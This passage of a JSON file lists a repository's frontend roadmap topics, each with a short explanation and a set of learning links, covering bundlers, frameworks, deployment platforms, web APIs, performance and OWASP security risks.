    "content": "# Module Bundlers\n\nModule bundlers combine multiple JavaScript files into optimized bundles for browsers. Handle dependencies, code transformation, and splitting for performance. Examples: Webpack, Rollup, Parcel. Enable modern JavaScript features, improve load times, and streamline development workflows.\n\nVisit the following resources to learn more:\n\n- [@official@Rollup Bundler](https://rollupjs.org/)\n- [@official@Webpack Website](https://webpack.js.org/)\n- [@article@The Complete JavaScript Module Bundlers Guide](https://snipcart.com/blog/javascript-module-bundler)\n- [@video@Module Bundlers Explained](https://www.youtube.com/watch?v=5IG4UmULyoA)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/netlify@o8GstE5gxcGByh-D7lwqT.md",
    "content": "# Netlify\n\nNetlify is a web development platform that simplifies building, deploying, and hosting websites and web applications. It automates the process of deploying static sites and single-page applications by directly connecting to your Git repository. When changes are pushed to the repository, Netlify automatically builds and deploys the updated version of your site. It also offers features like continuous deployment, serverless functions, and a global CDN for improved performance.\n\nVisit the following resources to learn more:\n\n- [@official@Netlify](https://www.netlify.com/)\n- [@official@Netlify Docs](https://docs.netlify.com/)\n- [@official@Get Started with Netlify](https://docs.netlify.com/start/get-started-guide/)\n- [@video@Getting started with Netlify Edge Functions](https://www.youtube.com/watch?v=6pEVhH37xQE&list=PLzlG0L9jlhEPMR8haUPkxj2hJ_3jh5qa6)\n- [@video@Netlify Dev Crash Course | Easy Dev & Deploy](https://www.youtube.com/watch?v=FMhVXOA54x8)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/nextjs@V70884VcuXkfrfHyLGtUg.md",
    "content": "# Next.js\n\nNext.js is a React framework supporting server-side rendering and static site generation. Features automatic code splitting, file-based routing, CSS support, API routes, and optimized performance. Includes live updates, smart preloading, and easy deployment. Ideal for SEO-friendly applications.\n\nVisit the following resources to learn more:\n\n- [@official@Next.js Website](https://nextjs.org/)\n- [@article@Visit the Dedicated Next.js Roadmap](https://roadmap.sh/nextjs)\n- [@video@Next.js for Beginners - Full Course at freeCodeCamp YouTube Channel](https://youtu.be/1WmNXEVia8I)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/nextjs@zNFYAJaSq0YZXL5Rpx1NX.md",
    "content": "# Next.js\n\nNext.js is a React framework supporting server-side rendering and static site generation. Features automatic code splitting, file-based routing, CSS support, API routes, and optimized performance. Includes live updates, smart preloading, and easy deployment. Ideal for SEO-friendly applications.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Next.js Roadmap](https://roadmap.sh/nextjs)\n- [@official@Official Website](https://nextjs.org/)\n- [@video@Next.js for Beginners - Full Course at freeCodeCamp YouTube Channel](https://youtu.be/1WmNXEVia8I)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/notifications@6AlcArOiJMhHXguAosDzn.md",
    "content": "# Notifications API\n\nNotifications API displays system alerts for messages, updates, and events even when site isn't active. Requires user permission and supports title, text, icons, timeouts, and click actions. Keeps users informed of important website events.\n\nVisit the following resources to learn more:\n\n- [@article@Get Started With The Notifications API](https://web.dev/articles/codelab-notifications-get-started)\n- [@article@Notifications API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Notifications_API)\n- [@video@How To Send Push Notifications With JavaScript](https://youtu.be/Bm0JjR4kP8w?si=-2Nu0I2Zl9f-R1zj)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/npm@ib_FHinhrw8VuSet-xMF7.md",
    "content": "# npm\n\nnpm (Node Package Manager) is the primary JavaScript package manager for finding, sharing, and managing code dependencies. Uses package.json to track project requirements and enables consistent builds across environments. Remains the most popular choice despite alternatives like Yarn and pnpm.\n\nVisit the following resources to learn more:\n\n- [@official@NPM Website](https://www.npmjs.com/)\n- [@official@NPM Documentation](https://docs.npmjs.com/)\n- [@opensource@How to NPM](https://github.com/workshopper/how-to-npm)\n- [@article@Modern JavaScript for Dinosaurs](https://peterxjang.com/blog/modern-javascript-explained-for-dinosaurs.html)\n- [@video@NPM Tutorial for Beginners](https://www.youtube.com/watch?v=2V1UUhBJ62Y)\n- [@feed@Explore top posts about NPM](https://app.daily.dev/tags/npm?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/nuxtjs@BBsXxkbbEG-gnbM1xXKrj.md",
    "content": "# Nuxt.js\n\nNuxt.js is a Vue.js framework providing structure, automatic routing, and server-side rendering. Supports static site generation, code splitting, and data fetching. Offers flexible rendering options with focus on developer experience and performance. Popular for SEO-friendly Vue applications with plugin ecosystem.\n\nVisit the following resources to learn more:\n\n- [@course@Nuxt.js Fundamentals](https://vueschool.io/courses/nuxtjs-fundamentals)\n- [@official@Nuxt Website](https://nuxtjs.org/)\n- [@article@Get Started with Nuxt](https://explorers.netlify.com/learn/get-started-with-nuxt)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/nuxtjs@XWJxV42Dpu2D3xDK10Pn3.md",
    "content": "# Nuxt.js\n\nNuxt.js is a Vue.js framework providing structure, automatic routing, and server-side rendering. Supports static site generation, code splitting, and data fetching. Offers flexible rendering options with focus on developer experience and performance. Popular for SEO-friendly Vue applications with plugin ecosystem.\n\nVisit the following resources to learn more:\n\n- [@course@Nuxt.js Fundamentals](https://vueschool.io/courses/nuxtjs-fundamentals)\n- [@official@Nuxt Website](https://nuxtjs.org/)\n- [@article@Get Started with Nuxt](https://explorers.netlify.com/learn/get-started-with-nuxt)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/openai@-ye5ZtYFDoYGpj-UJaBP8.md",
    "content": "# OpenAI\n\nOpenAI provides a suite of artificial intelligence models and tools accessible through an API. These models can perform tasks like generating text, translating languages, writing different kinds of creative content, and answering your questions in an informative way. Developers can integrate these powerful AI capabilities into their applications by sending requests to OpenAI's API endpoints and receiving responses.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI](https://platform.openai.com/docs/overview)\n- [@official@OpenAI Models](https://platform.openai.com/docs/models)\n- [@official@OpenAI Academy](https://academy.openai.com/)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/owasp-risks@JanR7I_lNnUCXhCMGLdn-.md",
    "content": "# OWASP Security Risks\n\nOWASP (Open Web Application Security Project) identifies top web application security risks including injection attacks, broken authentication, data exposure, and vulnerable dependencies. Provides guidance on secure coding practices, regular security testing, and comprehensive protection strategies for web applications.\n\nVisit the following resources to learn more:\n\n- [@official@OWASP Website](https://owasp.org/)\n- [@official@OWASP Cheatsheets](https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html)\n- [@opensource@OWASP Web Application Security Testing Checklist](https://github.com/0xRadi/OWASP-Web-Checklist)\n- [@article@OWASP Top 10: A Guide to the Worst Software Vulnerabilities](https://thenewstack.io/owasp-top-10-a-guide-to-the-worst-software-vulnerabilities/)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/owasp-security-risks@JanR7I_lNnUCXhCMGLdn-.md",
    "content": "# OWASP Security Risks\n\nOWASP (Open Web Application Security Project) identifies top web application security risks including injection attacks, broken authentication, data exposure, and vulnerable dependencies. Provides guidance on secure coding practices, regular security testing, and comprehensive protection strategies for web applications.\n\nVisit the following resources to learn more:\n\n- [@official@OWASP Website](https://owasp.org/)\n- [@opensource@OWASP Web Application Security Testing Checklist](https://github.com/0xRadi/OWASP-Web-Checklist)\n- [@official@OWASP Cheatsheets](https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html)\n- [@article@OWASP Top 10: A Guide to the Worst Software Vulnerabilities](https://thenewstack.io/owasp-top-10-a-guide-to-the-worst-software-vulnerabilities/)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/package-managers@IqvS1V-98cxko3e9sBQgP.md",
    "content": "# Package Managers\n\nPackage managers automate software package installation, updates, and dependency management. Examples include npm (JavaScript), pip (Python), and yarn. Enable code sharing, reuse, and consistent project setups. Essential for modern development workflows and team collaboration.\n\nVisit the following resources to learn more:\n\n- [@official@PNPM: The Faster, More Performant NPM](https://pnpm.io/)\n- [@official@Yarn - Getting Started](https://yarnpkg.com/en/docs/getting-started)\n- [@article@An Absolute Beginners Guide to Using npm](https://nodesource.com/blog/an-absolute-beginners-guide-to-using-npm/)\n- [@video@NPM Crash Course](https://www.youtube.com/watch?v=jHDhaSSKmB0)\n- [@video@Yarn Crash Course](https://www.youtube.com/watch?v=g9_6KmiBISk)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/parcel@NS-hwaWa5ebSmNNRoxFDp.md",
    "content": "# Parcel\n\nParcel is a zero-configuration web app bundler handling JavaScript, CSS, HTML automatically. Features dependency resolution, code transformation, optimization, live reloading, code splitting, and tree-shaking by default. Known for simplicity and speed, ideal for rapid prototyping.\n\nVisit the following resources to learn more:\n\n- [@official@Parcel Website](https://parceljs.org/plugin-system/bundler/)\n- [@video@How to Build a Web App with Parcel.js](https://www.youtube.com/watch?v=R02ehdTzi3I)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/payments@MAM1nuVk-h4AvTUk4nvmj.md",
    "content": "# Payments\n\nPayment Request API standardizes checkout forms by collecting payment and shipping information through browsers. Supports credit cards, debit cards, and digital wallets. Creates PaymentRequest objects for user confirmation and payment processing.\n\nVisit the following resources to learn more:\n\n- [@article@Payment Request API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Payment_Request_API)\n- [@article@The Payment Request API](https://www.w3.org/TR/payment-request/)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/performance-metrics@X0Y3-IpPiFUCsNDK4RFxw.md",
    "content": "# Performance Metrics\n\nWeb performance metrics measure webpage speed and efficiency. Key metrics: Load time, First Contentful Paint (FCP), Time to Interactive (TTI), First Input Delay (FID), and Total Blocking Time (TBT). Help identify optimization opportunities and user experience improvements.\n\nVisit the following resources to learn more:\n\n- [@article@Web Performance Metrics - Google Developers](https://developers.google.com/web/fundamentals/performance/user-centric-performance-metrics)\n- [@article@Measuring web performance in 2024](https://requestmetrics.com/web-performance/measure-web-performance/)\n- [@article@Measuring performance and user experience - MDN](https://developer.mozilla.org/en-US/docs/Web/Guide/Performance)\n- [@feed@Explore top posts about Performance](https://app.daily.dev/tags/performance?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/performance@6d8cjWZ4BuUjwT0seiuzJ.md",
    "content": "# Performance\n\nPerformance, in the context of web development, refers to how quickly and efficiently a website or web application loads and responds to user interactions. It encompasses various aspects like loading times, rendering speed, and overall responsiveness. Optimizing performance ensures a smooth and enjoyable user experience, leading to increased engagement and satisfaction.\n\nVisit the following resources to learn more:\n\n- [@article@Web performance](https://developer.mozilla.org/en-US/docs/Web/Performance)\n- [@article@9 Essential Strategies for Web Performance Optimization](https://www.shopify.com/enterprise/blog/web-performance-optimization)\n- [@video@The ultimate guide to web performance](https://www.youtube.com/watch?v=0fONene3OIA)\n- [@video@Frontend System Design: The 2025 Web Performance Roadmap](https://www.youtube.com/watch?v=KUdqbIHn8Ic)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/pick-a-framework@eXezX7CVNyC1RuyU_I4yP.md",
    "content": "# Pick a Framework\n\nWeb frameworks are development toolkits providing libraries, structure, rules, and tools for building applications. Different frameworks offer varying features based on project needs. Popular examples include React, Angular, and Vue, each with unique strengths and capabilities.\n\nVisit the following resources to learn more:\n\n- [@video@15 Crazy New JS Framework Features You Don't Know Yet](https://www.youtube.com/watch?v=466U-2D86bc)\n- [@video@Which JS Framework is Best?](https://www.youtube.com/watch?v=cuHDQhDhvPE)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/playwright@jramLk8FGuaEH4YpHIyZT.md",
    "content": "# Playwright\n\nPlaywright is Microsoft's cross-browser automation testing framework supporting Chromium, Firefox, WebKit across platforms. Works with JavaScript, TypeScript, Python, .NET. Features auto-waiting, network control, mobile simulation. Excellent for modern web app testing with debugging tools.\n\nVisit the following resources to learn more:\n\n- [@official@Playwright Website](https://playwright.dev/)\n- [@article@Playwright, a Time-Saving End-to-End Testing Framework](https://thenewstack.io/playwright-a-time-saving-end-to-end-testing-framework/)\n- [@video@Get started with end-to-end testing: Playwright](https://www.youtube.com/playlist?list=PLQ6Buerc008ed-F9OksF7ek37wR3y916p)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/pnpm@SLxA5qJFp_28TRzr1BjxZ.md",
    "content": "# pnpm\n\npnpm (performant npm) is a fast, disk-efficient JavaScript package manager using global storage with symlinks. Saves disk space, ensures strict package.json compliance, supports monorepos, and provides better security through dependency isolation. Growing popularity for speed and efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@PNPM Website](https://pnpm.io)\n- [@article@Meet PNPM: The Faster, More Performant NPM](https://blog.bitsrc.io/pnpm-javascript-package-manager-4b5abd59dc9)\n- [@video@Get started with pnpm](https://www.youtube.com/watch?v=MvbReZDSKHI)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/postcss@9WlPENh9g1xOv-zA64Tfg.md",
    "content": "# PostCSS\n\nPostCSS transforms CSS using JavaScript plugins for automation, browser prefixes, and future CSS features. More flexible than preprocessors with plugin-based architecture. Popular plugins: Autoprefixer, cssnext, cssnano. Integrates with build tools for modern development workflows.\n\nVisit the following resources to learn more:\n\n- [@official@PostCSS Website](https://postcss.org/)\n- [@video@Learn PostCSS in 15 minutes](https://www.youtube.com/watch?v=Kn2SKUOaoT4)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/prettier@zbkpu_gvQ4mgCiZKzS1xv.md",
    "content": "# Prettier\n\nPrettier automatically formats code for consistency across JavaScript, TypeScript, CSS, and other languages. Enforces opinionated style rules, eliminating style debates and saving time. Integrates with editors and pre-commit hooks. Popular for maintaining uniform code appearance across teams.\n\nVisit the following resources to learn more:\n\n- [@official@Prettier Website](https://prettier.io)\n- [@official@Why Prettier](https://prettier.io/docs/en/why-prettier.html)\n- [@video@How to set up Prettier](https://www.youtube.com/watch?v=DqfQ4DPnRqI)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/prompting-techniques@Gv_g4gK6pZK6l_0xAn34X.md",
    "content": "# Prompt Engineering\n\nPrompt engineering is the process of crafting effective inputs (prompts) to guide AI models to generate desired outputs. It involves strategically designing prompts to optimize the model’s performance by providing clear instructions, context, and examples. Effective prompt engineering can improve the quality, relevance, and accuracy of responses, making it essential for applications like chatbots, content generation, and automated support. By refining prompts, developers can better control the model’s behavior, reduce ambiguity, and achieve more consistent results, enhancing the overall effectiveness of AI-driven systems.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Prompt Engineering Roadmap](https://roadmap.sh/prompt-engineering)\n- [@course@Introduction to Prompt Engineering](https://learnprompting.org/courses/intro-to-prompt-engineering)\n- [@article@What is Prompt Engineering? A Detailed Guide For 2026](https://www.datacamp.com/blog/what-is-prompt-engineering-the-future-of-ai-communication)\n- [@article@Prompting Techniques](https://www.promptingguide.ai/techniques)\n- [@article@Prompt engineering techniques](https://www.ibm.com/think/topics/prompt-engineering-techniques)\n- [@video@What is Prompt Engineering?](https://www.youtube.com/watch?v=nf1e-55KKbg)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/prpl-pattern@-DsETM9xLgHyGZthptj1Y.md",
    "content": "# PRPL Pattern\n\nPRPL pattern optimizes web performance: Push critical resources, Render initial route, Pre-cache remaining routes, Lazy-load non-essential resources. Creates instant-feeling experiences on slow connections using service workers. Common in Progressive Web Apps (PWAs) for optimal loading strategies.\n\nVisit the following resources to learn more:\n\n- [@article@PRPL Pattern - Google Developers](https://developers.google.com/web/fundamentals/performance/prpl-pattern)\n- [@article@PRPL Pattern](https://www.patterns.dev/vanilla/prpl/)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/pwas@PoM77O2OtxPELxfrW1wtl.md",
    "content": "# Progressive Web Apps\n\nProgressive Web Apps (PWAs) are web applications behaving like native apps using HTML, CSS, JavaScript. Feature offline functionality, push notifications, home screen installation, and service workers for caching. Cross-platform, discoverable, and cost-effective alternative to native apps.\n\nVisit the following resources to learn more:\n\n- [@article@Learn PWA](https://web.dev/learn/pwa/)\n- [@article@MDN - Progressive Web Apps](https://developer.mozilla.org/en-US/docs/Web/Progressive_web_apps/)\n- [@video@Progressive Web Apps in 2024](https://www.youtube.com/watch?v=3ODP6tTpjqA)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/qwik@N5DCb6bDfgUnSdHPLYY4g.md",
    "content": "# Qwik\n\nQwik is a frontend framework optimizing for fast loading through \"resumable\" architecture. Apps start with minimal JavaScript, loading interactive code only when needed. Makes large websites feel instantly fast through intelligent code delivery. Gaining attention for performance innovations.\n\nLearn more from the following resources:\n\n- [@official@Qwik Website](https://qwik.dev)\n- [@video@Qwik - The world's first O(1) JavaScript Framework?](https://www.youtube.com/watch?v=x2eF3YLiNhY)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/rail-model@xD5WfEP7Ez0oi3890UgmH.md",
    "content": "# RAIL Model\n\nRAIL Model is Google's performance framework: Response (<100ms to user input), Animation (60fps smooth visuals), Idle (efficient downtime usage), Load (fast initial rendering). Provides specific performance targets for creating responsive, user-friendly web experiences.\n\nVisit the following resources to learn more:\n\n- [@official@RAIL Model - Google Developers](https://developers.google.com/web/fundamentals/performance/rail)\n- [@article@An Overview of the RAIL performance model](https://www.keycdn.com/blog/rail-performance-model)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/railway@PJRsqg5Vx9gQTodxaeZfz.md",
    "content": "# Railway\n\nRailway is a cloud platform that simplifies deploying web applications and services. It allows developers to deploy directly from their Git repositories, automatically handling infrastructure concerns like server provisioning, networking, and scaling. It supports various languages and frameworks, making it a versatile option for deploying frontend projects.\n\nVisit the following resources to learn more:\n\n- [@official@Railway](https://railway.com/)\n- [@official@Quick Start Tutorial](https://docs.railway.com/quick-start)\n- [@video@Fastest Way to Deploy a Full Stack Web App (Railway)](https://www.youtube.com/watch?v=JQIKobOcQ9k)\n- [@video@Intro to Railway - Config Free Deploys](https://www.youtube.com/watch?v=DyQz2DgSToU)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/react-native@dsTegXTyupjS8iU6I7Xiv.md",
    "content": "# React Native\n\nReact Native enables building native mobile apps for iOS and Android using JavaScript and React. Compiles to native components for authentic look and performance. Features code sharing, hot reloading, and device API access. Ideal for React developers transitioning to mobile development.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated React Roadmap](https://roadmap.sh/react-native)\n- [@official@React Native Website](https://reactnative.dev/)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/react-router@KJRkrFZIihCUBrOf579EU.md",
    "content": "# react-router\n\nReact Router enables client-side routing in React applications, creating single-page apps with multiple views. Handles URL management, provides route definition components, and supports lazy loading and route guards. The standard navigation solution for React applications.\n\nVisit the following resources to learn more:\n\n- [@official@React Router Website](https://reactrouter.com/en/main)\n- [@article@A Complete Guide to Routing in React](https://hygraph.com/blog/routing-in-react)\n- [@video@React Router - Complete tutorial](https://www.youtube.com/watch?v=oTIJunBa6MA)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/react@SGDf_rbfmFSHlxI-Czzlz.md",
    "content": "# React\n\nReact is Facebook's JavaScript library for building user interfaces with reusable components. Uses virtual DOM for performance and one-way data flow. Features component-based architecture, works with Redux for state management and React Native for mobile. Popular for its clarity, speed, and ecosystem.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated React Roadmap](https://roadmap.sh/react)\n- [@course@Full Stack React Developer Course](https://www.youtube.com/watch?v=Bvwq_S0n2pk)\n- [@official@React Website](https://react.dev)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/react@tG5v3O4lNIFc2uCnacPak.md",
    "content": "# React\n\nReact is a JavaScript tool from Facebook for building UIs, especially for single-page apps. It lets you create reusable UI parts that update when data changes. React uses a virtual DOM for speed and has a one-way data flow. This component style makes code neat and reusable. React also works with tools like Redux for data management and React Native for mobile apps. It's popular because it's clear, fast, and has a big community.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated React Roadmap](https://roadmap.sh/react)\n- [@course@Full Stack React Developer Course](https://www.youtube.com/watch?v=Bvwq_S0n2pk)\n- [@official@React Website](https://react.dev)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/refactoring@EYT2rTLZ8tUW2u8DOnAWF.md",
    "content": "# Refactoring with AI\n\nRefactoring, in the context of software development, is the process of restructuring existing computer code—changing its internal structure—without changing its external behavior. AI tools can assist in this process by analyzing code for potential improvements in readability, performance, and maintainability. They can automatically suggest or even implement changes like simplifying complex logic, removing redundant code, and improving code style consistency, ultimately leading to a cleaner and more efficient codebase.\n\nVisit the following resources to learn more:\n\n- [@article@hat is AI code refactoring? - IBM](https://www.ibm.com/think/topics/ai-code-refactoring)\n- [@article@What is AI code refactoring?](https://graphite.com/guides/what-is-ai-code-refactoring)\n- [@video@Using AI to Refactor Legacy Code: A Practical Guide with Scott Wierschem](https://www.youtube.com/watch?v=B7Yt-WmlW2I)\n- [@video@AI-Driven Code Refactoring: Improving Legacy Codebases Automatically - Jorrik Klijnsma](https://www.youtube.com/watch?v=u8tvVxUOwvY)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/relay-modern@0moPO23ol33WsjVXSpTGf.md",
    "content": "# Relay Modern\n\nRelay is Facebook's JavaScript library for data-heavy React applications using GraphQL. Co-locates data requirements with components, enabling efficient fetching and updates. Handles caching, real-time updates, and optimistic UI changes. Ideal for complex applications requiring sophisticated data management.\n\nVisit the following resources to learn more:\n\n- [@official@Relay Website](https://relay.dev/)\n- [@opensource@facebook/relay](https://github.com/facebook/relay)\n- [@video@ELI5 - Relay](https://www.youtube.com/watch?v=A4POd93GI_I)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/render@wfGz8pshGQARZ7qStGoSD.md",
    "content": "# Render\n\nRender is a unified cloud platform that simplifies the process of deploying and hosting web applications, static websites, and backend services. It automates infrastructure management, allowing developers to focus on writing code rather than configuring servers. Render supports various programming languages and frameworks, offering features like automatic scaling, continuous deployment, and SSL certificates.\n\nVisit the following resources to learn more:\n\n- [@official@Render](https://render.com/)\n- [@official@Render Docs + Quickstarts](https://render.com/docs)\n- [@article@Render: Cloud Deployment with Less Engineering](https://thenewstack.io/render-cloud-deployment-with-less-engineering/)\n- [@video@Deploy any application with one click using Render | Cloud Application Platform](https://www.youtube.com/watch?v=yWxBUcG_C7g)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/responsive-design@TKtWmArHn7elXRJdG6lDQ.md",
    "content": "# Responsive Web Design\n\nResponsive web design ensures websites adapt to all device sizes using flexible layouts, scalable images, and CSS media queries. Provides optimal user experience across desktop, tablet, and mobile devices without requiring separate sites for each platform.\n\nVisit the following resources to learn more:\n\n- [@article@Learn Responsive Design](https://web.dev/learn/design/)\n- [@article@The Beginner's Guide to Responsive Web Design](https://kinsta.com/blog/responsive-web-design/)\n- [@video@Introduction To Responsive Web Design](https://www.youtube.com/watch?v=srvUrASNj0s)\n- [@course@Conquering Responsive Layouts](https://courses.kevinpowell.co/conquering-responsive-layouts)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/rolldown@hE-DbpBpYrfB8tmBEjTnG.md",
    "content": "# Rolldown\n\nRolldown is a fast JavaScript bundler written in Rust, designed to be a drop-in replacement for Rollup. It takes your JavaScript and related assets (like CSS and images) and packages them into optimized bundles that can be efficiently loaded in a web browser. Rolldown aims to improve build performance and provide a smoother development experience compared to existing JavaScript bundlers.\n\nVisit the following resources to learn more:\n\n- [@official@Rolldown](https://rolldown.rs/)\n- [@official@Rolldown Docs](https://rolldown.rs/guide/getting-started)\n- [@official@Getting Started](https://rolldown.rs/guide/getting-started)\n- [@opensource@rolldown](https://github.com/rolldown/rolldown)\n- [@article@Rolldown: why it matters](https://dev.to/justinschroeder/rolldown-why-it-matters-4129)\n- [@video@Alexander Lichter | Rolldown: How Vite bundles at the speed of Rust | ViteConf 2025](https://www.youtube.com/watch?v=3PFLeteDuyQ)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/rollup@sCjErk7rfWAUvhl8Kfm3n.md",
    "content": "# Rollup\n\nRollup is a JavaScript bundler creating efficient bundles from ES modules. Excels at tree-shaking to remove unused code and supports multiple output formats. Produces smaller bundles than alternatives, ideal for libraries and modern JavaScript projects requiring optimization.\n\nVisit the following resources to learn more:\n\n- [@article@Rollup Website and Docs](https://rollupjs.org/)\n- [@video@How to Set Up JavaScript Bundling Using Rollup](https://www.youtube.com/watch?v=ICYLOZuFMz8)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/sass@kukEE5rMSPa4NeNjx21kt.md",
    "content": "# Sass\n\nSass (Syntactically Awesome Style Sheets) is a CSS preprocessor adding variables, nested rules, mixins, and functions. Compiles to regular CSS with two syntaxes: indented Sass and SCSS. Helps organize styles, reduces repetition, and improves maintainability in large projects.\n\nVisit the following resources to learn more:\n\n- [@official@Sass Website](https://sass-lang.com/)\n- [@official@Online Sass Playground](https://sass-lang.com/playground/)\n- [@video@Sass Tutorial for Beginners](https://www.youtube.com/watch?v=_a5j7KoflTs)\n- [@video@Sass, BEM, & Responsive Design](https://www.youtube.com/watch?v=jfMHA8SqUL4)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/seo-basics@mH_qff8R7R6eLQ1tPHLgG.md",
    "content": "# Basics of SEO\n\nSEO (Search Engine Optimization) improves website visibility in search results through keywords, quality content, fast loading, mobile-friendliness, and trusted backlinks. Includes technical elements like sitemaps, HTTPS, and good navigation to increase organic traffic.\n\nVisit the following resources to learn more:\n\n- [@article@Google Search Central — SEO Docs](https://developers.google.com/search/docs)\n- [@course@Complete SEO Course for Beginners](https://www.youtube.com/watch?v=xsVTqzratPs)\n- [@course@SEO for 2024: The Complete Guide](https://www.youtube.com/watch?v=8YDUP-RH_4g)\n- [@feed@Explore top posts about SEO](https://app.daily.dev/tags/seo?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/server-sent-events@doPe92aUpo-8KWhi45lWK.md",
    "content": "# Server Sent Events\n\nServer-Sent Events (SSE) enable servers to send live updates to webpages through one-way HTTP connections. Ideal for live chats, news feeds, and real-time notifications. Clients use EventSource objects to listen for formatted events from server response streams. Simple, browser-compatible solution for real-time updates.\n\nVisit the following resources to learn more:\n\n- [@article@Server-Sent Events - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events)\n- [@video@Server-Sent Events - Postman](https://www.youtube.com/watch?v=KrE044J8jEQ)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/service-workers@66ya3WdtlkjQyBTc3Lein.md",
    "content": "# Service Workers\n\nService Workers are JavaScript files that act as proxy servers between web browsers and web servers. They can intercept network requests, cache resources, and deliver push notifications, even when the user is offline. This allows for improved performance and offline capabilities for web applications.\n\nVisit the following resources to learn more:\n\n- [@article@Service Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API)\n- [@article@Service workers](https://web.dev/learn/pwa/service-workers)\n- [@article@Service worker overview - Chrome](https://developer.chrome.com/docs/workbox/service-worker-overview)\n- [@video@What is a service workers](https://www.youtube.com/watch?v=A6MHtKkA0CA)\n- [@video@How does a service worker work?](https://www.youtube.com/watch?v=__xAtWgfzvc)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/service-workers@TldWoXiqKxM4X3JONKAR7.md",
    "content": "# Service Workers\n\nService Workers are JavaScript files acting as proxy between webpages and network. Enable offline functionality by intercepting requests and serving cached responses. Support push notifications, background sync, and offline capabilities. Essential for Progressive Web Apps (PWAs).\n\nVisit the following resources to learn more:\n\n- [@article@Service Workers - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API)\n- [@article@Service Workers - Google](https://web.dev/learn/pwa/service-workers)\n- [@video@Web Workers Explained](https://www.youtube.com/watch?v=JMKLXGwltGc)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/shadow-dom@-SpsNeOZBkQfDA-rwzgPg.md",
    "content": "# Shadow DOM\n\nShadow DOM creates private, encapsulated DOM trees inside elements, isolating HTML, CSS, and JavaScript from the main page. Prevents style and script conflicts, enabling cleaner, reusable components. Essential for web components requiring self-contained functionality.\n\nVisit the following resources to learn more:\n\n- [@article@Using shadow DOM | MDN web docs](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)\n- [@video@DOM vs Virtual DOM vs Shadow DOM](https://youtu.be/7Tok22qxPzQ?si=2cw36PNSgFTcNHWx)\n- [@feed@Explore top posts about DOM](https://app.daily.dev/tags/dom?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/skills@xL8d-uHMpJKwUvT8z-Jia.md",
